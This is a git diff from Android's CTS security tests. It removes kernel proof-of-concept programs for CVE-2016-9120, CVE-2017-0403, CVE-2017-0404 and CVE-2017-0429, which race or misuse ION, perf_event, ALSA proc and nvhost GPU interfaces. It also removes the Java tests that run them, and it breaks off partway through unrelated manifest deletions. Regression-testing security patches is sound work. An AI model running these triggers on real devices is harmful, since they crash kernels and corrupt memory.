-#define ION_FLAG_CACHED_NEEDS_SYNC 2	/* mappings of this buffer will created
-					   at mmap time, if this is set
-					   caches must be managed manually */
-                       
-int g_fd = -1;
-struct ion_allocation_data* g_allocation = NULL;
-struct ion_handle_data g_free_data;
-static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
-static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
-
-int open_driver() {
-    char* dev_path = "/dev/ion";
-    g_fd = open(dev_path, O_RDONLY);
-    if (g_fd < 0) {
-        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
-    } else {
-        printf("[*] open file(%s) succ!\n", dev_path);
-    }
-    return g_fd;
-}
-
-void prepare_data() {
-    void* data = malloc(0x1000);
-    
-    g_allocation = (struct ion_allocation_data*)data;
-    
-    g_allocation->len = 0x1000;
-    g_allocation->align = 8;
-    g_allocation->heap_id_mask = 1 << 25;
-    g_allocation->flags = ION_FLAG_CACHED;
-    g_allocation->handle = -1;
-    
-    mprotect(data, 0x1000, PROT_READ);
-    printf("[*] mprotect, error = %d\n", errno);
-    
-    g_free_data.handle = 1;
-}
-
-void trigger_ion_alloc() {
-    ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
-}
-
-void trigger_ion_free() {
-    ioctl(g_fd, ION_IOC_FREE, &g_free_data);
-}
-
-void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
-    setpriority(PRIO_PROCESS, gettid(), privi);
-
-    /* bind process to a CPU*/
-    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
-    }
-}
-void* race_thread(void* arg) {
-    setup_privi_and_affinity(-19, 2);
-    while (1) {
-        pthread_mutex_lock(&mutex);
-        pthread_cond_wait(&cond, &mutex);
-        trigger_ion_free();
-        pthread_mutex_unlock(&mutex);  
-    }
-    
-}
-
-
-int main(int argc, char**argv) {
-    if (open_driver() < 0) {
-        return -1;
-    }
-    setup_privi_and_affinity(0, 1);
-    prepare_data();
-    pthread_t tid;
-    pthread_create(&tid, NULL, race_thread, NULL);
-    sleep(1);
-    while (1) {
-        pthread_cond_signal(&cond);
-        usleep(100);
-        trigger_ion_alloc();
-        sleep(1);
-    }
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
deleted file mode 100644
index 4addb61..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0403
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-format -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
deleted file mode 100644
index 51095e7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/poc.c
+++ /dev/null
@@ -1,233 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-//overwrite object+0x20,like a list initilize
-#include <unistd.h>
-#include <sys/syscall.h>
-#include <string.h>
-#include <sys/wait.h>
-#include <stdint.h>
-#include <stdio.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-
-
-struct perf_event_attr {
-
-  /*
-   * Major type: hardware/software/tracepoint/etc.
-   */
-  __u32     type;
-
-  /*
-   * Size of the attr structure, for fwd/bwd compat.
-   */
-  __u32     size;
-
-  /*
-   * Type specific configuration information.
-   */
-  __u64     config;
-
-  union {
-    __u64   sample_period;
-    __u64   sample_freq;
-  };
-
-  __u64     sample_type;
-  __u64     read_format;
-
-  __u64     disabled       :  1, /* off by default        */
-        inherit        :  1, /* children inherit it   */
-        pinned         :  1, /* must always be on PMU */
-        exclusive      :  1, /* only group on PMU     */
-        exclude_user   :  1, /* don't count user      */
-        exclude_kernel :  1, /* ditto kernel          */
-        exclude_hv     :  1, /* ditto hypervisor      */
-        exclude_idle   :  1, /* don't count when idle */
-        mmap           :  1, /* include mmap data     */
-        comm         :  1, /* include comm data     */
-        freq           :  1, /* use freq, not period  */
-        inherit_stat   :  1, /* per task counts       */
-        enable_on_exec :  1, /* next exec enables     */
-        task           :  1, /* trace fork/exit       */
-        watermark      :  1, /* wakeup_watermark      */
-        /*
-         * precise_ip:
-         *
-         *  0 - SAMPLE_IP can have arbitrary skid
-         *  1 - SAMPLE_IP must have constant skid
-         *  2 - SAMPLE_IP requested to have 0 skid
-         *  3 - SAMPLE_IP must have 0 skid
-         *
-         *  See also PERF_RECORD_MISC_EXACT_IP
-         */
-        precise_ip     :  2, /* skid constraint       */
-        mmap_data      :  1, /* non-exec mmap data    */
-        sample_id_all  :  1, /* sample_type all events */
-
-        exclude_host   :  1, /* don't count in host   */
-        exclude_guest  :  1, /* don't count in guest  */
-
-        exclude_callchain_kernel : 1, /* exclude kernel callchains */
-        exclude_callchain_user   : 1, /* exclude user callchains */
-        constraint_duplicate : 1,
-
-        __reserved_1   : 40;
-
-  union {
-    __u32   wakeup_events;    /* wakeup every n events */
-    __u32   wakeup_watermark; /* bytes before wakeup   */
-  };
-
-  __u32     bp_type;
-  union {
-    __u64   bp_addr;
-    __u64   config1; /* extension of config */
-  };
-  union {
-    __u64   bp_len;
-    __u64   config2; /* extension of config1 */
-  };
-  __u64 branch_sample_type; /* enum perf_branch_sample_type */
-
-  /*
-   * Defines set of user regs to dump on samples.
-   * See asm/perf_regs.h for details.
-   */
-  __u64 sample_regs_user;
-
-  /*
-   * Defines size of the user stack to dump on samples.
-   */
-  __u32 sample_stack_user;
-
-  /* Align to u64. */
-  __u32 __reserved_2;
-};
-
-
-#define PAIR_FD 1
-
-int group_fd[PAIR_FD],child_fd[PAIR_FD];
-
-long created = 0;
-long freed = 0;
-long finished = 0;
-
-void *thr(void *arg) {
-  printf("id=%d arg=%d\n",gettid(),arg);
-
-  int i;
-  struct perf_event_attr attr;
-
-  switch ((long)arg) {
-  case 0:
-    //#16123
-    printf("thread 0\n");
-    memset(&attr,0,sizeof(struct perf_event_attr));
-    attr.type = 1;
-    attr.size = sizeof(struct perf_event_attr);
-    attr.config = 1;
-
-      group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
-                    -1, 0x1ul, 0);
-
-      if(group_fd[0]<0){
-        perror("perf-group:");
-      }
-
-
-    memset(&attr,0,sizeof(struct perf_event_attr));
-    attr.type = 1;
-    attr.size = sizeof(struct perf_event_attr);
-    attr.config = 5;
-
-      child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
-
-      if(group_fd[0]<0){
-        perror("perf-child:");
-      }
-
-    created = 1;
-    break;
-  case 1:
-
-    while(!created){
-      sleep(1);
-    }
-
-    printf("thread 1\n");
-    close(group_fd[0]);
-
-    freed = 1;
-
-    break;
-  case 2:
-
-    printf("thread 2\n");
-
-    while(!freed){
-      sleep(1);
-    }
-
-      close(child_fd[0]);
-
-    finished = 1;
-
-    break;
-
-  }
-  return 0;
-}
-
-int poc() {
-  long i;
-  pthread_t th[5];
-  for (i = 0; i < 3; i++) {
-    pthread_create(&th[i], 0, thr, (void *)i);
-    usleep(10000);
-  }
-
-  while(!finished){
-    sleep(1);
-  }
-
-  return 0;
-}
-
-
-int main(int argc, char const *argv[])
-{
-  int pid;
-  unsigned int times;
-  times = 0;
-  printf("POC3\n");
-  printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
-  fflush(stdout);
-
-  // while(1){
-    pid = fork();
-    if(pid){
-      int status;
-      int ret = waitpid(pid,&status,0);
-
-      printf("[%d]times.\r",times);
-      times++;
-    }else
-      return poc();
-  // }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
deleted file mode 100644
index 47c4c71..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0404
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-constant-conversion
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
deleted file mode 100644
index 54821ef..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/poc.c
+++ /dev/null
@@ -1,49 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <sys/prctl.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <pthread.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <semaphore.h>
-#include <sys/socket.h>
-#include <sys/mman.h>
-#include <signal.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <sys/utsname.h>
-#include <sys/ptrace.h>
-
-char buf[4096];
-
-int main(int argc, char const *argv[]){
-	memset(buf, 0xa0, sizeof(buf));
-
-	int fd = open("/proc/asound/version", O_RDWR);
-	if(fd != -1){
-		lseek(fd, 0x1234567800000000, SEEK_SET);
-		write(fd, buf, sizeof(buf));
-	}else{
-		perror("open error\n");
-	}
-	close(fd);
-	return 0;
-}
\ No newline at end of file
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
deleted file mode 100644
index ec6d5bf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0429
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
deleted file mode 100644
index 4ef1b3e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/poc.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-// for syscall
-#include <sys/syscall.h>
-// for futex
-#include <linux/futex.h>
-#include <sys/time.h>
-
-#define LOG(fmt, ...)   printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...)   printf(fmt ": %d(%d)\n", ##__VA_ARGS__, errno, errno)
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-
-#define NVMAP_IOC_MAGIC 'N'
-struct nvmap_create_handle {
-	union {
-		__u32 id;	/* FromId */
-		__u32 size;	/* CreateHandle */
-		__s32 fd;	/* DmaBufFd or FromFd */
-	};
-	__u32 handle;		/* returns nvmap handle */
-};
-#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
-
-struct nvmap_alloc_handle {
-	__u32 handle;		/* nvmap handle */
-	__u32 heap_mask;	/* heaps to allocate from */
-	__u32 flags;		/* wb/wc/uc/iwb etc. */
-	__u32 align;		/* min alignment necessary */
-};
-#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
-
-static int set_affinity(int num)
-{
-	int ret = 0;
-	cpu_set_t mask;
-	CPU_ZERO(&mask);
-	CPU_SET(num, &mask);
-	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- 	return ret;
-}
-
-#define SZ_128K				0x00020000
-#define NVHOST_AS_IOCTL_MAGIC 'A'
-struct nvhost_as_bind_channel_args {
-	__u32 channel_fd; /* in */
-} __packed;
-#define NVHOST_AS_IOCTL_BIND_CHANNEL \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
-
-struct nvhost_as_free_space_args {
-	__u64 offset; /* in, byte address */
-	__u32 pages;     /* in, pages */
-	__u32 page_size; /* in, bytes */
-};
-#define NVHOST_AS_IOCTL_FREE_SPACE \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
-
-#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
-struct nvhost_as_alloc_space_args {
-	__u32 pages;     /* in, pages */
-	__u32 page_size; /* in, bytes */
-	__u32 flags;     /* in */
-	__u32 padding;     /* in */
-	union {
-		__u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
-		__u64 align;  /* in, alignment multiple (0:={1 or n/a}) */
-	} o_a;
-};
-#define NVHOST_AS_IOCTL_ALLOC_SPACE \
-	_IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
-
-#define CLOSE_THREAD_NUM	1
-#define TRY_TIMES		2
-#define NVMAPDEV	"/dev/nvmap"
-#define GPUDEV		"/dev/nvhost-gpu"
-#define ASDEV		"/dev/nvhost-as-gpu"
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-int nvmap, gpu, asgpu;
-volatile int attack;
-
-int main(void)
-{
-	int i, j, ret;
-	int dma1, dma2;
-	struct nvmap_create_handle args = { 
-		.size = PAGE_SIZE
-	};
-	struct nvhost_as_bind_channel_args as_bind = { 0 };
-	struct nvhost_as_alloc_space_args alloc = {
-		.pages = 1,
-		.page_size =  SZ_128K,
-		.flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
-	};
-	struct nvhost_as_free_space_args free_arg = {
-		.pages = 1,
-		.page_size = SZ_128K
-	};
-
-	/* bind_cpu */
-	set_affinity(0);
-
-	nvmap = open(NVMAPDEV, O_RDONLY);
-	if(nvmap == -1) {
-		ERR("[-] open %s failed", NVMAPDEV);
-		goto __cleanup;
-	}
-	gpu = open(GPUDEV, O_RDONLY);
-	if(gpu == -1) {
-		ERR("[-] open %s failed", GPUDEV);
-		goto __cleanup;
-	}
-	asgpu = open(ASDEV, O_RDONLY);
-	if(asgpu == -1) {
-		ERR("[-] open %s failed", ASDEV);
-		goto __cleanup;
-	}
-	// bind the channel
-	as_bind.channel_fd = gpu;
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
-	if(ret == -1) {
-		ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
-		goto __cleanup;
-	} else {
-		//LOG("[+] ioctl OK, channel is bond");
-	}
-
-	#if 1
-	// prepare 
-	ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
-	if(ret) {
-		ERR("[-] NVMAP_IOC_CREATE failed");
-		goto __cleanup;
-	}
-	#endif
-
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
-	if(ret) {
-		ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
-		goto __cleanup;
-	}
-	free_arg.offset = alloc.o_a.offset;
-	ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
-	if(ret) {
-		ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
-		goto __cleanup;
-	}
-
-__cleanup:
-	close(nvmap);
-	close(gpu);
-	close(asgpu);
-	return 0;
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
index 7e24e8f..1592182 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -139,73 +139,6 @@
     }
 
     /**
-     *  b/32700935
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8435() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
-            AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31568617
-     */
-    @SecurityTest
-    public void testPocCVE_2016_9120() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/ion")) {
-            AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
-        }
-    }
-
-    //Highs
-    /**
-     *  b/31225246
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8412() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
-            AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31243641
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8444() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
-            AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31791148
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8448() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
-            AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/31798848
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8449() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
-            AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
-        }
-    }
-
-    /**
      *  b/31668540
      */
     @SecurityTest
@@ -217,37 +150,6 @@
     }
 
     /**
-     *  b/32402548
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0403() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
-    }
-
-    /**
-     *  b/32510733
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0404() throws Exception {
-        enableAdbRoot(getDevice());
-        if(containsDriver(getDevice(), "/proc/asound/version")) {
-            AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
-        }
-    }
-
-    /**
-     *  b/32178033
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8451() throws Exception {
-        enableAdbRoot(getDevice());
-        String command =
-            "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
-        AdbUtils.runCommandLine(command, getDevice());
-    }
-
-    /**
      *  b/32659848
      */
     @SecurityTest
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
index 18bfb16..4fd98b7 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -30,47 +30,4 @@
             AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
         }
     }
-
-   /**
-     *  b/32636619
-     */
-    @SecurityTest
-    public void testPocCVE_2017_0429() throws Exception {
-        if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
-            enableAdbRoot(getDevice());
-            AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
-        }
-    }
-
-   /**
-     *  b/32219121
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8455() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8455", getDevice(), 60);
-    }
-
-   /**
-     *  b/32219255
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8456() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8456", getDevice(), 60);
-        // CTS begins the next test before device finishes rebooting,
-        // sleep to allow time for device to reboot.
-        Thread.sleep(60000);
-    }
-
-   /**
-     *  b/32219453
-     */
-    @SecurityTest
-    public void testPocCVE_2016_8457() throws Exception {
-        enableAdbRoot(getDevice());
-        AdbUtils.runPoc("CVE-2016-8457", getDevice(), 60);
-        // Device takes up to 60 seconds to crash after PoC run.
-        Thread.sleep(60000);
-    }
- }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/Android.mk
deleted file mode 100644
index 178cb8a..0000000
--- a/hostsidetests/services/activityandwindowmanager/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
deleted file mode 100644
index 1761ba6..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsServicesHostTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util  \
-    cts-display-service-app-util \
-    platform-test-annotations-host
-
-LOCAL_CTS_TEST_PACKAGE := android.server
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
deleted file mode 100644
index 52b8d55..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Sample host test cases">
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
-        <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
-        <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
-        <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
-        <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
-        <option name="test-file-name" value="CtsDisplayServiceApp.apk" />
-        <option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
-    </target_preparer>
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsServicesHostTestCases.jar" />
-        <option name="runtime-hint" value="4m44s" />
-    </test>
-</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
deleted file mode 100755
index 63f41d1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
+++ /dev/null
@@ -1,413 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.cts">
-
-    <!-- virtual display test permissions -->
-    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
-
-    <application>
-        <activity android:name=".TestActivity"
